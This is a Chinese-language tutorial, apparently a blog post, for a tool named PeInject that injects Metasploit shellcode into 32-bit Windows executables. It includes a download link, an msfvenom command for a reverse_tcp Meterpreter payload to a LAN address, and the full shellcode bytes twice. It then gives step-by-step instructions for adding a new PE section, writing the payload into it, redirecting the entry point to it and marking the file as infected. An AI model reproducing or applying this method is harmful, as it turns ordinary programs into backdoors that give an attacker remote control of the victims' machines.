PeInject工具是一款可用于将指定ShellCode代码注入到EXE可执行程序中,该工具原理是新建节区并将ShellCode插入到节内,最后将跳转地址修改为ShellCode反弹地址实现上线。
主要作用: 将metasploit生成的ShellCode,插入到任意一个EXE程序中,程序直接实现反弹。(仅支持32位)
- 工具下载地址 (32位版) :https://share.weiyun.com/F5JWigD9
工具功能如下所示。
1.使用前应该使用Metasploit生成一段可以反弹的ShellCode,如下是我生成的反弹代码。
[root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.6 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1512 bytes
unsigned char buf[] =
"xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89xe5"
"x8bx52x0cx8bx52x14x31xffx8bx72x28x0fxb7x4ax26"
"x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
"x75xefx52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78"
"x85xc0x74x4cx01xd0x8bx58x20x01xd3x8bx48x18x50"
"x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xac"
"xc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
"x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
"x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
"x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
"x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
"x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
"x29x80x6bx00xffxd5x6ax0ax68xc0xa8xbfx06x68x02"
"x00x27x0fx89xe6x50x50x50x50x40x50x40x50x68xea"
"x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
"xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
"x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
"xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
"x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
"x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
"x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
"x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
"xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
"xf0xb5xa2x56x6ax00x53xffxd5";
将这段ShellCode去掉描述部分,并保存为shell.txt文本,如下。
"xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89xe5"
"x8bx52x0cx8bx52x14x31xffx8bx72x28x0fxb7x4ax26"
"x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
"x75xefx52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78"
"x85xc0x74x4cx01xd0x8bx58x20x01xd3x8bx48x18x50"
"x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xac"
"xc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
"x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
"x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
"x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
"x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
"x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
"x29x80x6bx00xffxd5x6ax0ax68xc0xa8xbfx06x68x02"
"x00x27x0fx89xe6x50x50x50x50x40x50x40x50x68xea"
"x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
"xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
"x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
"xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
"x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
"x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
"x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
"x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
"xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
"xf0xb5xa2x56x6ax00x53xffxd5";
2.首先运行PEView查看当前节表,然后运行PeInject注入一个节表。
运行PeInject添加一个.hack节,并设置节大小为4096,此处的大小必须是1024的倍数,且节名称必须小于7位。
插入后,我们使用PEView验证是否已经插入完成了。
此时我们需要记住[*] 节的文件起始位置: 0x000A9000 => DEC: 692224
这一段后面的十进制数,692224 此处就是我们的新节的起始位置。我们可以使用PEView验证一下是否申请完成了。
因为没有数据,所以全为0。
3.执行注入功能,将文本中的shell注入到这片空旷的新区域内,此处传入的偏移地址就是上面的空旷区域。
此时我们可以再次验证一下,这片区域内是否插入成功了,如下已插入完成了。
记录下一些关键数据。
[+] 注入起始FOA => 0x000A9000 <DEC = 692224 > 注入结束FOA => 0x000A9162 <DEC = 692578 >
4.最后一步将OEP设置到ShellCode位置上去,此时需要先把,开始地址 692224 转换为VA格式。
使用PEView完成转换,因为FOaToVa函数接收的是十六进制数,所以需要先转为十进制,十进制是 A9000 带着是文件中的偏移,我们需要的是内存偏移,其实在添加新节是已经有了。
内存对其是B9000才对,我们利用PeView工具将其转换为十进制。
此时节在内存中的开始地址是:b9000 结束地址是:b9162
最后就是传参调用PeInject功能完成修改入口地址的操作。
Msf设置侦听端口,完成上线。
我们可以看一下执行流程,首先程序运行后,会自动跳转到B9000处,执行代码,这是因为OEP位置已被我们调整过了,你可以看看,OEP位置已经成了B9000了。
B9000处就是我们的ShellCode代码位置,当程序执行完毕后,直接跳转回原始程序中继续中代码,如下是跳转回去的程序片段。
B9000所在的文件偏移是A9000,所以我们定位到A9000处看一下就知道了。
执行完ShellCode后,默认直接跳到原始OEP位置直接执行代码。
5.最后执行增加感染标志,如果不增加标志,我们很可能忘记这个程序是否插入过shell,那么增加一个感染标志是必不可少的。